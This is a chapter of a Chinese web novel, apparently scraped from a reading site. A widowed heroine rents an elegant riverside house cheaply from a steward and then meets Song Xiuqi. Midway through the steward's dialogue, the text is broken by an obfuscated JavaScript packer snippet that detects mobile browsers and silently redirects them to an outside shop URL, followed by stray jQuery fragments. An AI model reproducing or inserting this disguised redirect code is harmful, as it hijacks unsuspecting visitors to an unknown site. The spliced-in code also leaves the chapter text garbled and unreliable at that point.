文趣网 > 其他小说 > 侯门寡妇摆摊养娃日常 > 11. 第 11 章
    姜绒抱着试一试的心态跟着孙兆,来到他所说的那处宅子门口。

    依旧是晓市旁边的临安坊,这宅子临河而建,清幽雅致,打开窗户便能看到金水河畔的景色,地理位置放在现代相当于黄浦江边的江景房。

    宅子同样是二进的院落,但相比昨日相看的第一间要大上许多。

    进门的青石影壁上刻着松竹梅岁寒三友的图案,穿过前院,进垂花门,最惹眼的便是一架紫藤,正值花期,垂垂累累的淡紫色花穗从枝头坠下,风一过,簌簌地落下花苞,引得下方小池塘中的锦鲤争相啄食。

    院内青瓦白墙,东北角种着几丛湘妃竹,疏疏朗朗的竹影印在雪白的墙面上,像是写意勾勒的水墨画。

    几间正房里的装饰布置同样雅致古朴,虽然这里没什么人生活的痕迹,但家具陈设处处纤尘不染,房中兰草叶片油亮碧绿,虽不在花期,却自有一股清幽之气,看得出养得极好。

    姜绒光是站在院子里,就觉得满目清凉,连呼吸都变得轻了。

    孙兆摇着烟杆,笑呵呵道:“姜娘子也觉得这宅子很不错吧?说实话,整个临安坊,都再找不出比这更好的宅子了。若非主家走得急,这种地方宁肯空着都好过出租,五百文的月租,跟白住有什么区别?”

    他说得有理,但姜绒更狐疑了。

    她小心地打听道:“敢问主家是做什么的?”

    她不得不打起十二分的警惕,这宅子不仅位置极佳,主人品味也高雅,又如此精细地打理,怕是不可能将宅子随便租住给外面的人,何况是商贾之流。

    现在问一问,如果这家的主人有什么一官半职的话,那就是再便宜,她也不会考虑,毕竟她一介布衣,将来又要做生意,可不想跟京城的官老爷扯上关系。

    孙兆怔了片刻,答道:“这个,主家嘛,嗯,是做茶叶生意的。他平时不在这儿住,这里是其长姊的旧宅,他们姐弟情深,姐姐故去后弟弟便一直差人打理着这院子。”

    “这回据说是有急事要离京数月,这房子没人管了,空着也是空着,便托了孙某为他找个靠谱的人,价钱不在意,只要人干净、靠谱就行。”

    孙兆眉眼弯弯,笑得有几分谄媚,“这不,孙某一下子就想到了姜娘子。”

    “嗯……”姜绒有些犹疑地附和。

    他的话倒是都能圆得上。

    茶商不像其他,最喜附庸风雅,自然品味也与读书人相似,这房子人为活动痕迹甚少,也符合他说的姐弟的故事,再者茶叶也算是古代的暴利行业之一,对方不在乎这点租金,为了保护这房子,租给她一个女人倒也说得过去。

    一切似乎都天衣无缝,只是刚好赶上她焦头烂额的时间点,似乎有些太巧了?

    可她想了又想,实在想不出这其中还能有什么陷阱。

    思索再三后,她还是决定先签下这房子。租契上白纸黑字写得清楚,就算有问题,她一个光脚的还怕穿鞋的不成?

    她和灏儿已经没有什么可以失去了。

    “主家现在可有空?”姜绒问,“我想见一见,当面把租契给签了。”

    孙兆连忙点头:“好说好说。主家的一位管事留了下来,专门负责这院子的事儿,姜娘子请在院子里稍等,我这就去把人请来。”

    他转身脚步飞快地出了院门。

    姜绒本来以为这里的管事应是个勤快的中年男人,却没想到孙兆没多一会儿便领了一个高高的年轻人进来。

    这人穿了件灰蓝色的袍子,腰间系一条半旧的革带,脚踩黑色布靴,看着眼生,相貌俊朗,年纪似乎跟她相仿,没有一般管家那种市侩的精明劲儿,反而周身萦绕着淡淡的疏离感。

    “这位便是姜娘子了。”孙兆殷勤地从中介绍,“姜娘子,这位是主家的风管事。”

    祁风拱了拱手,“在下姓风,家中行三,娘子唤我风三便好。”

    姜绒好奇地又打量了祁风两遍,粲然一笑,行礼道:“风大哥。”

    随后她开门见山地将自己的担忧说了出来:“不怕您笑话,奴家如今囊中羞涩,只能接受五百文的月租。只是这宅子就算急租,五百文是不是也太便宜了点儿?”

    对方似乎早就聊到了她会这么问,从容道:“不瞒姜娘子,老爷此番走得匆忙,特留了属下在此,他嘱咐过,这院子不图租金多少,只求能租给正经人家,别糟蹋了地方。此外他确实还提了一个要求。”

    “哦,是什么要求?”

    祁风指了指院中的紫藤和其他的花草树木,说:“这院中的一草一木,都是老爷的姐姐在世时亲手栽种的,当年她爱惜得紧。”

    说着他又指着主屋里的那几盆兰花,“特别是这几盆兰草,更

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585460|205229||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是世间难得一见的珍品,等天再热些就要换盆了。老爷说了,租给旁的那些贩夫走卒,怕这些花草被糟蹋,姜娘子毕竟是侯府出身,要讲究得多,若是愿意帮忙照看着,浇浇水,修修枝,便算是抵了部分租金。”

    姜绒看着他指过的满院花花草草,终于彻底放下了心。

    花草这东西,对旁人来说不值一提,但对于爱花之人,那就是千金难换。主家不愿让其姐亲手种下的花草荒废,宁可少些租金也要寻个靠谱之人,倒也算合情合理。

    更何况她自己就是爱做饭之人,对“珍视之物托付于他人”这种心情,多少也能理解。

    她当即爽快地答应道:“成。风大哥放心,奴家一定会好好照看着,若还有什么要求,也尽管提便是。”

    之后他们在此缔结了租契。姜绒逐字逐句看过,上面每一条都写得清楚规矩,并没有藏着任何猫腻,租金也确实是每月五百文,押一付三,没有要求保人。

    她率先在上面签字画押后将租契递给了祁风。

    她不禁有些好奇,这位卖茶为生的风雅主家究竟是何人,说不定以后他们在生意上还能有合作。

    但祁风却是用的是自己的名义,落款处单单只写了一个“风”字,随后按下了手印。

    或许是对方为人低调,不愿透露自己的名讳罢了。姜绒这样心想。

    她付好租金,又给了孙兆佣金,祁风将一串钥匙交给她,称自己在京中还有些事要替老爷处理,晚些天才离开,姜绒一个女人带着一个孩子搬家,很不方便,他可以搭把手,帮她搬些东西。

    姜绒能租到这样的房子已很是感激,本不好意思再麻烦他,但他执意要帮,她拗不过,两人便约好了明日一早就搬。

    姜绒握着那串沉甸甸的铜钥匙,临走时又回头看了一眼院子,只觉得今天这一切都像是做梦一般。

    她兴奋得几乎是一路小跑着回到侯府的。

    然而刚穿过回廊,还没走到偏院门口,她便在转角处碰到了一个人。

    对方身材高大,一身锦衣,腰间佩着一块价值不菲的玉佩,浓眉方脸,五官倒是不差,但却像被水泡胀了一样,皮肉松弛虚浮,将原本尚可的长相毁了个干净。

    虽说与姜绒想象中的样子有些差距,但她还是立刻反应过来了面前人的身份。

    宋修齐。